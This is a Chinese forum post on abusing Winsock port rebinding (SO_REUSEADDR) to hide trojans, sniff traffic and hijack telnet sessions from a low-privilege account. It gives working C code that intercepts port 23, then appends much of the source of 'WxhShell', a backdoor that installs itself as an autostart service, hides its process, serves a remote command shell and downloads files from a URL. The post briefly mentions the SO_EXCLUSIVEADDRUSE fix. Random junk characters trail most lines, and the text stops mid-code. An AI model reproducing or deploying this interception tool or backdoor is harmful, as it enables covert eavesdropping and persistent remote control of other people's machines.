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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SQU%N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~&lJT  
Wky STc  
  saddr.sin_family = AF_INET; %`'z^W  
r)]CZ])  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |Du13i4].&  
Qsxkw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ti|++oC/&  
h&M RQno  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w00\1'-Kz  
SzlfA%4+GR  
  这意味着什么?意味着可以进行如下的攻击: 64']F1p0  
!TL}~D:J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K('l H-3wS  
;T{/;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OG+r|.N;  
j~S!!Z ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6a?$=y  
Gi2ad+QH-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H\+c'$  
5%+bWI{w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pb6^sA%l  
`vxrC&,As  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kqvJ&7  
^=Ct Aa2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $:E}Nj]{&  
j$8|ym^OX  
  #include hAr[atu87  
  #include !8@rK$DB  
  #include E}' d,v#Z{  
  #include    <S8W~ wC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +F~0\#d  
  int main() iQzX-a|4]  
  { T[XP\!z]B!  
  WORD wVersionRequested; \_Kt6=  
  DWORD ret; BZ;}ROmqk  
  WSADATA wsaData; Ym.l@(  
  BOOL val; Rs F3#H  
  SOCKADDR_IN saddr; tkN3BQ  
  SOCKADDR_IN scaddr; NC.P 2^%  
  int err; QYTTP6 Gz+  
  SOCKET s; $#7J\=GZ+  
  SOCKET sc; 4%fN\f  
  int caddsize; y{`(|,[  
  HANDLE mt; y+";  
  DWORD tid;   k=mT!  
  wVersionRequested = MAKEWORD( 2, 2 ); uH&,%k9GVK  
  err = WSAStartup( wVersionRequested, &wsaData ); {eswe  
  if ( err != 0 ) { :DMHezaU  
  printf("error!WSAStartup failed!\n"); -RH4y 2  
  return -1; Z&]+A,  
  } s1Tl.p5  
  saddr.sin_family = AF_INET; ,|. *,  
   ~nj bLUB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !0OD(XT  
[CDXCV-z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hX8gV~E=y  
  saddr.sin_port = htons(23); g{ v5mly  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `  -[Bo  
  { H6ky)kF&  
  printf("error!socket failed!\n"); &V#zkW  
  return -1; 0Z A#T:4  
  } yC'hwoQ`  
  val = TRUE; &:DCtjK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5fegWCJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -4vHK!l  
  { YBtq0c  
  printf("error!setsockopt failed!\n"); "y~muE:.  
  return -1; i.&Kpw9;m  
  } XSp x''l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jom} _  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GSGyF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I mPu}  
UAx.Qq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %oh`EGmVP  
  { UH 47e  
  ret=GetLastError(); /o|PA:6J  
  printf("error!bind failed!\n"); xTJ Sr2f  
  return -1; #a(%(k S  
  } M<A;IOpR+  
  listen(s,2); `J>E9p<  
  while(1) '&-5CpDUs  
  { #QTfT&m+G}  
  caddsize = sizeof(scaddr); :F^$"~(,  
  //接受连接请求 ~KAp\!,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y ]~ HAv '  
  if(sc!=INVALID_SOCKET) ]27>a"p59Y  
  { FJa[ToZ4+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~?AC:  
  if(mt==NULL) O t *K+^I  
  { ZDOF  
  printf("Thread Creat Failed!\n"); 3$?9uMl#  
  break; ;|>q zx  
  } 0i8[=  
  } !,Xyl} #  
  CloseHandle(mt); | V.S.'  
  } sf |oNOz  
  closesocket(s); YN,y0t/cQ  
  WSACleanup(); vzY'+9q1.  
  return 0; ]aC ':55(  
  }   %[]"QbF?  
  DWORD WINAPI ClientThread(LPVOID lpParam) {cR_?Y@  
  { :DtZ8$I`]C  
  SOCKET ss = (SOCKET)lpParam; UF&0 & `@  
  SOCKET sc; Vs_\ykO  
  unsigned char buf[4096]; r6d0x  
  SOCKADDR_IN saddr; k4qLB1&,  
  long num; HGO#e  
  DWORD val; !,cQ'*<W8-  
  DWORD ret; Z/2,al\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3]O`[P,*%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IL~]m?'V(  
  saddr.sin_family = AF_INET; /S:w&5e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MU_!&(X_  
  saddr.sin_port = htons(23); S}oG.r 9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )-bD2YA{  
  { 5h`m]#YEG  
  printf("error!socket failed!\n"); NuC-qG#  
  return -1; %f3c7\=C  
  } *QbM*oH  
  val = 100; Pm$F2YrO3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FU_fCL8yA  
  { t8+?U^j  
  ret = GetLastError(); q';&SR#"`K  
  return -1; :3f-9aRC!  
  } h5L=M^z!>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !]$V9F{K  
  { UWQtvQ f  
  ret = GetLastError(); ;[(= kOI  
  return -1; i&'#+f4t  
  } ]Nnxnp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @GN(]t&3  
  { <Q2u)m'  
  printf("error!socket connect failed!\n"); kCj`V2go  
  closesocket(sc); N]B)Fb  
  closesocket(ss); VZ\O9lD  
  return -1; @ SU8\:(U  
  } X AQGG>  
  while(1) PT3>E5`Nu  
  { _Zh2eXWdjM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4bP13f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2]L=s3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LtC~)R  
  num = recv(ss,buf,4096,0); R<"2%oY  
  if(num>0) %tT"`%(+  
  send(sc,buf,num,0); Z;ZuS[ZA  
  else if(num==0) !\QeBd+  
  break; wk" l[cH>  
  num = recv(sc,buf,4096,0); `_|aeoK_  
  if(num>0) L ;6b+I  
  send(ss,buf,num,0); hS4.3]ei  
  else if(num==0) 30D: ZmlY  
  break; !n|#|.0m  
  } $z*@2Non  
  closesocket(ss); >BBl 7  
  closesocket(sc); cppL0myJ  
  return 0 ; O`cdQu  
  } H5~1g6b@  
? Phk~ jE  
kW#S]fsfU  
========================================================== q[-|ZA bbr  
]JH64~a  
下边附上一个代码,,WXhSHELL 9/#0?(K8  
1o8wy_eSs  
========================================================== rvW!7 -R  
2;8Xz 6T  
#include "stdafx.h" t5xb"F   
Rv98\VD"  
#include <stdio.h> 85'nXYN{d  
#include <string.h> Y=r!2u6r~  
#include <windows.h> *RBV'b  
#include <winsock2.h> )D;*DUtMVm  
#include <winsvc.h> ~e{H#*f&1/  
#include <urlmon.h> `)T&~2n  
>QXzMN}o  
#pragma comment (lib, "Ws2_32.lib") _IWxYp  
#pragma comment (lib, "urlmon.lib") 2d-{Q 8Pi  
tE@FvZC'=  
#define MAX_USER   100 // 最大客户端连接数 l';pP^.q  
#define BUF_SOCK   200 // sock buffer <j;]!qFR  
#define KEY_BUFF   255 // 输入 buffer ',GV6kt_k  
~8TF*3[}[  
#define REBOOT     0   // 重启 sI'a1$  
#define SHUTDOWN   1   // 关机 D}-o+6TI?  
u#1%P5r&X  
#define DEF_PORT   5000 // 监听端口 ]Kv q |}=  
k}GjD2m  
#define REG_LEN     16   // 注册表键长度 3QW_k5o  
#define SVC_LEN     80   // NT服务名长度 ]fZ<`w8u}  
/#f^n]v  
// 从dll定义API v,{h:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _K'7(d0z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9e!vA6Fx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %<ic%gt`#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v9=}S\=Cd  
s.VA!@F5  
// wxhshell配置信息 $/+so;KD  
struct WSCFG { } ~| k  
  int ws_port;         // 监听端口 ^-hErsK  
  char ws_passstr[REG_LEN]; // 口令 @D~B{Hg  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6gnbkpYi  
  char ws_regname[REG_LEN]; // 注册表键名 &f-hG3/M  
  char ws_svcname[REG_LEN]; // 服务名 ND5$bq Nu?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &R,9+c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1_uvoFLk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tmO`|tn&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +TH3&H5I_A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Nf 5w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >"%ob,c:#  
{pWBwf>R C  
}; xST4}Mb^f  
?1peF47Z  
// default Wxhshell configuration zPR8f-Uvw  
struct WSCFG wscfg={DEF_PORT, %m eLW&  
    "xuhuanlingzhe", ,X68xk.'  
    1, eCWPhB 6l  
    "Wxhshell", e`iEy=W  
    "Wxhshell", :lgi>^  
            "WxhShell Service", Ow@v"L;jF!  
    "Wrsky Windows CmdShell Service", )1lu=gc  
    "Please Input Your Password: ", z C=a3  
  1, ^ q?1U?4  
  "http://www.wrsky.com/wxhshell.exe", ^/toz).Q  
  "Wxhshell.exe" UX2lPgKdLz  
    }; hJ f2o  
E =AVrv5T  
// 消息定义模块 jZd}O C<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n *<v]1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .po>qb6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o_f-GO  
char *msg_ws_ext="\n\rExit."; 9 |{%i$  
char *msg_ws_end="\n\rQuit."; \K7t'20  
char *msg_ws_boot="\n\rReboot..."; F}36IM9/:  
char *msg_ws_poff="\n\rShutdown..."; 9pL g+6O  
char *msg_ws_down="\n\rSave to "; ~jN'J+_$  
~}'F887f  
char *msg_ws_err="\n\rErr!"; SJk>Jt=  
char *msg_ws_ok="\n\rOK!"; A_R!uRD8-  
ys8Q.oBv_`  
char ExeFile[MAX_PATH]; E7nFb:zlV  
int nUser = 0; _w!a`w*3  
HANDLE handles[MAX_USER]; HbM0TXo  
int OsIsNt; l +'F_a  
xq[Yg15d%  
SERVICE_STATUS       serviceStatus; mrM4RoO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qhn;`9+L  
Zgamd1DJ[l  
// 函数声明 })Yv9],6  
int Install(void); P`(Mk6gE  
int Uninstall(void); 6B" egYv  
int DownloadFile(char *sURL, SOCKET wsh); 0 )}$^TV  
int Boot(int flag); *jITOR!uF`  
void HideProc(void); pK}=*y~$  
int GetOsVer(void); ?mv:neh  
int Wxhshell(SOCKET wsl); IRW^ok.'b!  
void TalkWithClient(void *cs); pf&ag#nr  
int CmdShell(SOCKET sock); t Rm+?  
int StartFromService(void); s^hR\iY  
int StartWxhshell(LPSTR lpCmdLine); j}f[W [2  
HC*?DJ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]s_8A`vm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H'DVwnn>ik  
,<` )>2 'o  
// 数据结构和表定义 !<<AzLVL  
SERVICE_TABLE_ENTRY DispatchTable[] = Q.Aa{d9e  
{ Kz?#C  
{wscfg.ws_svcname, NTServiceMain}, s{}]D{bc  
{NULL, NULL} eE(b4RCM  
}; skg|>R,kE  
n V&cC  
// 自我安装 Bp?  
int Install(void) =qu(~]2(  
{ w7TJv4_  
  char svExeFile[MAX_PATH]; $B (kZ  
  HKEY key; 33Az$GXFsq  
  strcpy(svExeFile,ExeFile); 8b(!k FxD  
7DD&~ZcD  
// 如果是win9x系统,修改注册表设为自启动 #7G*GbKY  
if(!OsIsNt) { nw6pV%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G~,:2 o3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WsGths+[  
  RegCloseKey(key); [?0d~Q(R#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9902+pW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vB'>[jvA|  
  RegCloseKey(key); viX +|A4gJ  
  return 0; g>JLDQdc  
    } ;i<jhNA  
  } j5$GFi\kB  
} o\VUD  
else { (s<s@`  
;C.S3}  
// 如果是NT以上系统,安装为系统服务 hz:pbes  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M@et6aud;K  
if (schSCManager!=0) L%"LlS g  
{ r6Aneg7  
  SC_HANDLE schService = CreateService Vvp[P >  
  ( iUi>y.}"P  
  schSCManager, nh+l7 8  
  wscfg.ws_svcname, Z4b||  
  wscfg.ws_svcdisp, }<a^</s  
  SERVICE_ALL_ACCESS, SmwQET<H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h^UKT`9vt  
  SERVICE_AUTO_START, zi@]83SS#  
  SERVICE_ERROR_NORMAL, cVnJ^*Z  
  svExeFile, qet>1<  
  NULL, 8^/I>0EZ  
  NULL, sgUud_r)4  
  NULL, *ISZlR\#  
  NULL, !]yO^Ob.E  
  NULL KngTc(^_D  
  ); zAzP,1$?  
  if (schService!=0) mHc>"^R  
  { FS6`6M.K  
  CloseServiceHandle(schService);  as yZe  
  CloseServiceHandle(schSCManager); 2Os1C}m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q?qC  
  strcat(svExeFile,wscfg.ws_svcname); H,unpZ(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I#F!N6;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nI.x  
  RegCloseKey(key); :Qt  
  return 0; 8,P- 7^  
    } ElhRF{R  
  } !>,m&O-x  
  CloseServiceHandle(schSCManager); "hxN!,DEZ  
} HBS\<}  
} 4`m~FNVS   
CC=d I  
return 1; Mn1Pt|_@!  
} #G" xNl  
O/s $SX%g  
// 自我卸载 d\{>TdyF  
int Uninstall(void) |1b _*G4|  
{ yZr M.%V  
  HKEY key; >{gPN"S"a  
S8[=S  
if(!OsIsNt) { )L{ghy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^D eERB  
  RegDeleteValue(key,wscfg.ws_regname); R0ID2:i]F  
  RegCloseKey(key); eV:9y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C?v[Z]t  
  RegDeleteValue(key,wscfg.ws_regname); ZYU=\  
  RegCloseKey(key); zi R5:d3   
  return 0; #6Fez`A  
  } RqEH| EUZ  
} ,mhQ"\+C  
} ^bg2[FV  
else { LEMfG~Czq  
3~S'LxV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IN8>ZV`j)  
if (schSCManager!=0) 00v&lQBW  
{ 0.T4{JS#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F'jWV5"*  
  if (schService!=0) ]H-S, lmV  
  { ]D[DU]K  
  if(DeleteService(schService)!=0) { gb ^?l~SS  
  CloseServiceHandle(schService); $3`>{3x$  
  CloseServiceHandle(schSCManager); ;<yd^Xs  
  return 0; 'o|30LzYgQ  
  } @1.QEyXG  
  CloseServiceHandle(schService); SDu#Yt&mhh  
  } aRG2@5  
  CloseServiceHandle(schSCManager); L pR''`2BT  
} p&+;w  
} Bj k]ZU0T  
fVb-$  
return 1; eSWL rryY  
} /|#&px)G  
w0w G-R ?  
// 从指定url下载文件 G'3qzBJ#  
int DownloadFile(char *sURL, SOCKET wsh) G9g1hie@%  
{ O"Ku1t!  
  HRESULT hr; O+g3X5f+  
char seps[]= "/"; mPI8_5V8]  
char *token; 06$!R/K  
char *file; l @^3Exwt  
char myURL[MAX_PATH]; dJT]/g  
char myFILE[MAX_PATH]; O3TQixE  
eF[63zx5*  
strcpy(myURL,sURL); TIp:FW[  
  token=strtok(myURL,seps); -@T/b$]'n  
  while(token!=NULL) zSo)k~&[3  
  { Q+4Xs.#  
    file=token; T,| 1g6  
  token=strtok(NULL,seps); X[f=h=|  
  } \j&^aAp r  
UnI 48Y  
GetCurrentDirectory(MAX_PATH,myFILE); -S3MH1TZ  
strcat(myFILE, "\\"); $O9^SB  
strcat(myFILE, file); Fx-8M!  
  send(wsh,myFILE,strlen(myFILE),0); 9U$EJN_G  
send(wsh,"...",3,0); ^G6RjJxqp8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vAyFmdJ^  
  if(hr==S_OK) CPNL 94x  
return 0; 5:'hj$~|\1  
else B}PIRk@a1  
return 1; 8\{^|y9-  
X]P:CY  
} C@th O  
xg)v0y~  
// 系统电源模块 E<yW\  
int Boot(int flag) p.LFVFPT  
{ cA%%IL$R  
  HANDLE hToken; ]`Oo%$Ue  
  TOKEN_PRIVILEGES tkp; M5xCC!  
2W4qBaG$=  
  if(OsIsNt) { JV;OGh>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]T%rjsN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Cn+e.j@  
    tkp.PrivilegeCount = 1; _i/t?7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _YF%V;X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `FoxP  
if(flag==REBOOT) { 7Hm3;P.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (V4 ~`i4V  
  return 0; ]c! ;L5  
} .A6(D$ O k  
else { K)J(./  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =JJL[}a|  
  return 0; liXdNk8  
} wE~V]bmtW  
  } ;qrB\j"  
  else { Z)jw|T'X  
if(flag==REBOOT) { {mAU3x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HuOIFv  
  return 0; 66fO7OJs  
} ~8lwe*lNV  
else { r/SG 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D9z|VIw8  
  return 0; r#XT3qp$d  
} ?M[ A7?  
} qAw x2fPu  
fFc/ d(  
return 1; Uw 47LP  
} St e=&^  
)E~ 79!  
// win9x进程隐藏模块 >%wLAS",w  
void HideProc(void) tg{H9tU;  
{ )oyIe)  
*8LMn   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7}X[ 4("bB  
  if ( hKernel != NULL ) xD6@Qk  
  { Rz.?i+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); () j =5KDu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )kP5u`v  
    FreeLibrary(hKernel); '_V2!?+RU+  
  } t^w"w`v\u  
p\bDY  
return; xXM{pd  
} utIX  %0  
Nqu>6^-z0  
// 获取操作系统版本 }K&7%N4LZ  
int GetOsVer(void) kXf'5p1  
{ 1PpyVf  
  OSVERSIONINFO winfo; 78/Zk}I]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9]@A]p!  
  GetVersionEx(&winfo); d+'p@!W_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ariLG [:X  
  return 1; nJo`B4'U  
  else .C--gQpIv  
  return 0; (;q;E\Ej q  
} zzyHoZJP  
rnF/H=I/  
// 客户端句柄模块 p>upA)W]  
int Wxhshell(SOCKET wsl) 6Udov pl  
{ }5hqD BK?  
  SOCKET wsh; R00eisd  
  struct sockaddr_in client; ?:)]h c  
  DWORD myID; ?O8ViB?2  
9M:O0)s  
  while(nUser<MAX_USER) cZ|\.0-  
{ v#!%GEg1r  
  int nSize=sizeof(client); v61[.oS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BG<qIQd  
  if(wsh==INVALID_SOCKET) return 1;  Y*14v~\'  
/K(o]J0F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); THS.GvT9[  
if(handles[nUser]==0) + ~>Aj  
  closesocket(wsh); `b^Ru+(dM  
else CY"/uSB  
  nUser++; & 9<+;*/  
  } w'm;82V:P-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /C6k+0ApMT  
N|6M P e  
  return 0; {QwHc5Bf  
} @0F3$  
?nmn1`UT  
// 关闭 socket PBp^|t]E>  
void CloseIt(SOCKET wsh) q,+yqrt  
{  0}CGuws  
closesocket(wsh); M#8uv-L  
nUser--; ;S>])5<  
ExitThread(0); (Kv#m 3~  
} m8o(J\]  
7eiV{tYF  
// 客户端请求句柄 %;rHrDP(>  
void TalkWithClient(void *cs) *#C+iAF|)'  
{ lk( }-  
WUh$^5W  
  SOCKET wsh=(SOCKET)cs; h"/< ?3{  
  char pwd[SVC_LEN]; Zd')57{  
  char cmd[KEY_BUFF]; ;t|Ii8Ne  
char chr[1]; @9lUSk^9  
int i,j; P9vA7[  
/%;mqrdk  
  while (nUser < MAX_USER) { hX=A)73(  
d&+h}O  
if(wscfg.ws_passstr) { yp({>{u7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?]}8o}G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FN8NTBk  
  //ZeroMemory(pwd,KEY_BUFF); CL+}| 7O(  
      i=0; #N`~xZ|$  
  while(i<SVC_LEN) { =_:et 0  
d%o&+l#  
  // 设置超时 <kx&w(=  
  fd_set FdRead; * iF]n2g:  
  struct timeval TimeOut; !y@6Mm  
  FD_ZERO(&FdRead); )s%[T-uKi  
  FD_SET(wsh,&FdRead); l\@)y4 +  
  TimeOut.tv_sec=8; ::}{_ Z  
  TimeOut.tv_usec=0; s;6CExH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * /:x sI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l p(8E6  
Ro9tZ'N!S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); id1s3b;  
  pwd=chr[0]; ,&R/4 :I  
  if(chr[0]==0xd || chr[0]==0xa) { -}KC=,]vh  
  pwd=0; SN1}xR$  
  break; n\^Tq<] a  
  } N19({0+i2  
  i++; <y?r!l=Am  
    } R wZ]),o  
.%L?J E  
  // 如果是非法用户,关闭 socket jbS\vyG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &M.66O@  
} D F*:_B )  
,f[>L|?e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z )SY.iK.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s]f6/x/~  
&2{ tF  
while(1) { !Rhl f.x  
,}K7Dg^1  
  ZeroMemory(cmd,KEY_BUFF); 61)-cVC  
*q-['"f  
      // 自动支持客户端 telnet标准   UOxkO  
  j=0; +,#$:fs u  
  while(j<KEY_BUFF) { v%iof1 T'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k\NMy#]Zt  
  cmd[j]=chr[0]; CD~z=vlK-  
  if(chr[0]==0xa || chr[0]==0xd) { ~wkj&yVT  
  cmd[j]=0; Ljp%CI[i  
  break; % a@>_  
  } w%JTTru  
  j++; =5(>q5Z*  
    } $w);5o  
@Bf%s(Uj+  
  // 下载文件 ]Ccg`AR{  
  if(strstr(cmd,"http://")) { SV~cJ]F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q)^Jj ?W  
  if(DownloadFile(cmd,wsh)) A m>cd;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VB, ?Mo}R  
  else 4}eepJOn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qa0 yg8,<  
  } $ >u*} X9  
  else { {z")7g ]l  
{l/-LZ.  
    switch(cmd[0]) { 2kIa*#VOJ  
  7Z-O_h3;)@  
  // 帮助 <U!`J[n%  
  case '?': { br":y>=,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {;:/-0s  
    break; IHcD*zQ  
  } 9 mmCp&~Z  
  // 安装 ucG@?@JENm  
  case 'i': { !g(KK|`,m  
    if(Install()) d;>#Sxf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,^eYlmT>6  
    else G"Sd@%W(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VrxQc qPr`  
    break; 2 -C!jAfd  
    } |~X ;1j!  
  // 卸载 L;'"A#Pa  
  case 'r': { ]y1OFKYv  
    if(Uninstall()) Vp3ZwS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h3z{(-~y  
    else \<y#R~7s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?MgUY)X  
    break; \\u<S=G  
    } S&b*rA02zp  
  // 显示 wxhshell 所在路径 \4-"L>  
  case 'p': { OeS\7  
    char svExeFile[MAX_PATH];  ng_^  
    strcpy(svExeFile,"\n\r"); o!{w"K  
      strcat(svExeFile,ExeFile); 2M68CE  
        send(wsh,svExeFile,strlen(svExeFile),0); 7]||UuF<  
    break; 'Pn3%&O$  
    } {:]9Q Tq  
  // 重启 e=.njMqW5  
  case 'b': { Od5JG .]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q(2K6  
    if(Boot(REBOOT)) Ai gS!-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/ODq L|  
    else { nysUZB  
    closesocket(wsh); w6{TE(]zp  
    ExitThread(0); Y[$!`);Ye  
    } \8?Tdx=  
    break; a6WI170^1  
    } /iJ4{p   
  // 关机 c%'RR?Tl  
  case 'd': { %|oJ>+  
